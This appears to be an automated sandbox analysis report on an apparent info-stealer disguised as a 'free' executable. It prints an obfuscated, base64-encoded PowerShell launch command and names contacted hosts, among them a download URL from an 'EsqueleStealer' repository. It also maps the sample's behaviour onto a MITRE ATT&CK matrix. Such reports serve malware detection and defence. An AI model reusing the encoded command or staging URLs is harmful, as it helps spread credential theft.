agqacabiag0augb2agqaeqbnahaarabrag8azwbjaemaqqbnaeoasaboagkasqbeadaazwbuag0avgazaewavqa5agkayqbtafyaagbkaemaqgbuaguawaboadaawgbxadaadqbwaecavga0agqaqwa1afqazabiaeoacabiag0azabdagqavwbsahmawgbhafyaeqblaeqasqaxae4aaqbrae4aqwbpaeeazwbjaemaqgbiafyamgbsahuatqb6aeoazabpagoacabiafoawabsafgayqbxaduaawbiadmazabvafoawaboadaaswbdafiabwbwadianqbraewaqwbbagsaywayaekacwbjaemaugb6afkaaqa1aeqawqbyaeiaaabzadiabaawaguauwbragcazgbdaeiauabkafgauqb0afqabgbwahmaygbbadaaswbjaemaqqbnaekasabkagwazabiafyaeqbiagkaqqbragmamgbjahuavgbhadkavabkaegasgbwagiabqbjag8aswbradaaswbmafeamablafoabgbwahuawqazafiacabiadianabnafmarwbsagsawgbvaeyaagbkaecabaayafoavgbkahaaygbtafiadgbkahkazwbwaekasabzae4aqwbpaeeazwbjaemaqqbrageargbkahuawgbdaeeaoqbjaeyadabyageavwa0ahoatqbsadaangbpagsazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmay	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encoded wwbtahkacwb0aguabqauafqazqb4ahqalgbfag4aywbvagqaaqbuagcaxqa6adoavqbuaeyaoaauaecazqb0afmadabyagkabgbnacgawwbtahkacwb0aguabqauaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoacgajwb7aciauwbjahiaaqbwahqaiga6aciayqbxafkazwblaemamqb1agiamwbragcaswbgahqavablafgatgawafoavwawahuavabxaeyadqbzafcazabsagiavwbwahuazabdaduaqgbkafgaugb2agiavwbgadaayqbxadkadqbmagwaqgbuafyasabsahcawgbvaduaaabiafcavgbkaeoamqbkahaaygbqae0aeqbkahkaawb1afyasabsahcawgbtagsazwblahcamablaekaqwbbagcasqbfaeyaawbaaemamqbvaguawabcagwasqbfaeeaaqbeafeabwbnaekaqwbbagcazabyae4acabiag0aywbnafuamwbsahoazabhafyadabpahcamablaekaqwbbagcasqbiafyaegbhafcanqbuaekargboaduaywazafiababiafmanqbtagqavwa1adaayqbxadeababmagsabab1agqarwbwahkaygazaeiavabaafgasgayageavwboagwaywb6ahmatgbdagcamablaekaqwbbagcasqbiaeiamqbzag0aeabwafkaeqbcagoaygbhaeyaegbjahkaqgbyageavwa0ahoatqbpaeianwbeafeabwbnaekaqwbbagcasqbdaeeazwbjaeyadabfagiarwb4aeoaygbyaeiadgbjag4auqbvaekabgbwahoawgbyaekaegbnagkanqbragiarwb3agkaswbwadaatgbdagkaqqbnaekaqwbbagcasqbdaeeazwbjaegavgbpagiarwbsagoasqbiae4amabzafgaugbwafkaeqbcagwazqbiafiababjag0anabnafmavwa1adaavqbiafiaeqbjaeuazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmaywbvaesavabzae4aqwbnadaaswbjaemaqqbnaekaqwbbagcasqbdaeiaygbsaecaeabzafmavwaxahcaygazaeoamablaemasgaxagmamgbwahkatqb6aekadqbaaecaeabzaekaaqbsagqarabrag8azwbjaemaqqbnaekaqwbbagcasqbgahqaeqbaafgaugaxagmabqa0adyasqbfadeaaabjag4atgbvafkavwb4aeiaywb5aggavgbiag0amqboagiabqbgag4awgbxafiavqblafgaqgbsaewaawbkahyaygayahcacabyafeamablaekaqwbbagcasqbdaeeazwbjaemaqgb3agqavwbkahmayqbxae0azwbjadmaugboagqarwbsagoasqbhafyanabkaecavgb5agiaaqbcagkaygayadkacwbjaeyatgbvagiamwbkafgayqbxaduaawbiadmaywbvafmavwa1adaavqbiafiaeqbjaecaaabyagiabqbrahmasqbhagwadqbkaemaqgb1afeamgaxagsavqayaggadgbkahkaawa3aeqauqbvagcasqbdaeeazwbmafeamablaekaawbbae4aqwbuadaatgbdag0awgaxagiabqboadaayqbxadkadqbjaeuazabsagqarqbgagoazabhagwamgbaafyazabwagiabqbsahyazaaxafiacabkaecaeabsaesaqwbragcazqb3adaaswbjaemaqqbnaekaqwbsag8avgayaduaawbjaeqamabnafcamqbkahaaygbqae0aeqbyafqabwa2afiamgbwadaaugbtadkaeqbaafcazab5agiamwbwahuawgbgagqacabiag0augb2agqaeqbnahaarabrag8azwbjaemaqqbnaeoasaboagkasqbeadaazwbuag0avgazaewavqa5agkayqbtafyaagbkaemaqgbuaguawaboadaawgbxadaadqbwaecavga0agqaqwa1afqazabiaeoacabiag0azabdagqavwbsahmawgbhafyaeqblaeqasqaxae4aaqbrae4aqwbpaeeazwbjaemaqgbiafyamgbsahuatqb6aeoazabpagoacabiafoawabsafgayqbxaduaawbiadmazabvafoawaboadaaswbdafiabwbwadianqbraewaqwbbagsaywayaekacwbjaemaugb6afkaaqa1aeqawqbyaeiaaabzadiabaawaguauwbragcazgbdaeiauabkafgauqb0afqabgbwahmaygbbadaaswbjaemaqqbnaekasabkagwazabiafyaeqbiagkaqqbragmamgbjahuavgbhadkavabkaegasgbwagiabqbjag8aswbradaaswbmafeamablafoabgbwahuawqazafiacabiadianabnafmarwbsagsawgbvaeyaagbkaecabaayafoavgbkahaaygbtafiadgbkahkazwbwaekasabzae4aqwbpaeeazwbjaemaqqbrageargbkahuawgbdaeeaoqbjaeyadabyageavwa0ahoatqbsadaangbpagsazabsagqarqbaahyaywbtafyabgbjag0aoqaxagiabqbsafgayqbxaduaawbiadmay	Jump to behavior

Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dGhlYXB0Z3JvdXA=-free.exe	Queries volume information: C:\WindowsTasks\Platform VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	12 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	32 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
dGhlYXB0Z3JvdXA=-free.exe	0%	Virustotal		Browse
dGhlYXB0Z3JvdXA=-free.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://url.spec.whatwg.org/#port-state	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#concept-headers-fill	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#concept-headers-append	0%	Avira URL Cloud	safe
https://dom.spec.whatwg.org/#concept-event-listener-inner-invoke	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#ref-for-dom-body-formdata	0%	Avira URL Cloud	safe
https://w3c.github.io/permissions/#permissionstatus	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#forbidden-response-header-name	0%	Avira URL Cloud	safe
https://streams.spec.whatwg.org/	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#concept-network-error	0%	Avira URL Cloud	safe
https://dom.spec.whatwg.org/#get-the-parent	0%	Avira URL Cloud	safe
https://w3c.github.io/permissions/#status-of-a-permission	0%	Avira URL Cloud	safe
https://crbug.com/v8/8520turbo_fast_api_callsenable	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#body-mixin	0%	Avira URL Cloud	safe
https://dom.spec.whatwg.org/#concept-event-listener-invoke	0%	Avira URL Cloud	safe
https://w3c.github.io/permissions/#permission-descriptor	0%	Avira URL Cloud	safe
http://skeletonwatcher.rest/api/get/freeq	0%	Avira URL Cloud	safe
https://dl.deno.land/canary/	0%	Avira URL Cloud	safe
https://dom.spec.whatwg.org/#retarget	0%	Avira URL Cloud	safe
https://v8.dev/docs/stack-trace-api#stack-trace-collection-for-custom-exceptions.	0%	Avira URL Cloud	safe
https://w3c.github.io/FileAPI/	0%	Avira URL Cloud	safe
http://skeletonwatcher.rest/api/get/freeM	0%	Avira URL Cloud	safe
https://dom.spec.whatwg.org/#concept-event-path-append	0%	Avira URL Cloud	safe
https://dom.spec.whatwg.org/#event-path	0%	Avira URL Cloud	safe
https://w3c.github.io/user-timing)	0%	Avira URL Cloud	safe
https://url.spec.whatwg.org/#idna	0%	Avira URL Cloud	safe
https://dl.deno.land/canary-latest.txt	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#concept-construct-readablestream	0%	Avira URL Cloud	safe
https://wicg.github.io/import-maps/	0%	Avira URL Cloud	safe
https://dl.deno.land/canary/P	0%	Avira URL Cloud	safe
https://some/file.ts	0%	Avira URL Cloud	safe
https://fetch.spec.whatwg.org/#dom-headers	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
skeletonwatcher.rest	188.114.97.3	true	false	unknown
raw.githubusercontent.com	185.199.109.133	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.22	true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.rapidtables.com/convert/color/hsl-to-rgb.html	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fetch.spec.whatwg.org/#concept-headers-append	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dom.spec.whatwg.org/#concept-event-listener-inner-invoke	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://deno.land/std/examples/colors.tsGenerate	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://github.com/chalk/ansi-regex/blob/2b56fb0c7a07108e5b54241e8faec160d393aedb/index.js	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://url.spec.whatwg.org/#special-scheme	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://fetch.spec.whatwg.org/#forbidden-response-header-name	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fetch.spec.whatwg.org/#concept-network-error	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://url.spec.whatwg.org/#port-state	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fetch.spec.whatwg.org/#concept-headers-fill	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/denoland/deno/issues	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://streams.spec.whatwg.org/	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fetch.spec.whatwg.org/#ref-for-dom-body-formdata	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/beatgammit/base64-js	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deno.land/x/example/types.d.ts	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://deno.land/std/fmt/colors.ts	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://console.spec.whatwg.org/#console-namespace	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621237256.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.00000291081C2000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://no-color.org/	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://www.npmjs.com/package/tslib).	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instanc	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://dom.spec.whatwg.org/#get-the-parent	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/EsqueleStealer/EsqueleStealer-D-/main/estl.txt:false	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000002.1625610514.00000222F2154000.00000004.00000020.00020000.00000000.sdmp	false		high
https://w3c.github.io/permissions/#permissionstatus	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://deno.land/x/	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://dom.spec.whatwg.org/#concept-event-listener-invoke	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.1425298261.00000289D6C20000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1425298261.00000289D6D62000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1597533736.0000019F1006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deno.land/favicon.icodevtools://devtools/bundled/inspector.html?v8only=true&ws=	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5710000.00000002.00000001.01000000.00000003.sdmp	false		high
https://crbug.com/v8/8520turbo_fast_api_callsenable	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000000.1252958802.00007FF7F5E1E000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deno.land/manual/runtime/compiler_apis#denobundle).	dGhlYXB0Z3JvdXA=-free.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.1405004503.00000289C6BB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1552133148.0000019F00006000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/bitinn/node-fetch/blob/master/src/headers.js	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621140624.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1254922707.0000029108182000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkErr	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://w3c.github.io/permissions/#status-of-a-permission	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/)	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://dl.deno.land/canary/	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://fetch.spec.whatwg.org/#body-mixin	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1255264400.00000222F3B40000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000D.00000002.1552133148.0000019F00233000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000D.00000002.1552133148.0000019F00233000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/inexorabletash/text-encoding	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000008.00000002.1405004503.00000289C77E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1552133148.0000019F00C33000.00000004.00000800.00020000.00000000.sdmp	false		high
https://w3c.github.io/permissions/#permission-descriptor	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000D.00000002.1597533736.0000019F101AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dom.spec.whatwg.org/#retarget	dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1444457166.0000029108102000.00000004.00001000.00020000.00000000.sdmp, dGhlYXB0Z3JvdXA=-free.exe, 00000000.00000003.1621077502.0000029108102000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://golang.org/pkg/bytes/#Buffer.Grow).	dGhlYXB0Z3JvdXA=-free.exe	false		high
https://v8.dev/docs/stack-trace-api#stack-trace-collection-for-custom-exceptions.	dGhlYXB0Z3JvdXA=-free.exe	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.1552133148.0000019F00233000.00000004.00000800.00020000.00000000.sdmp	false		high
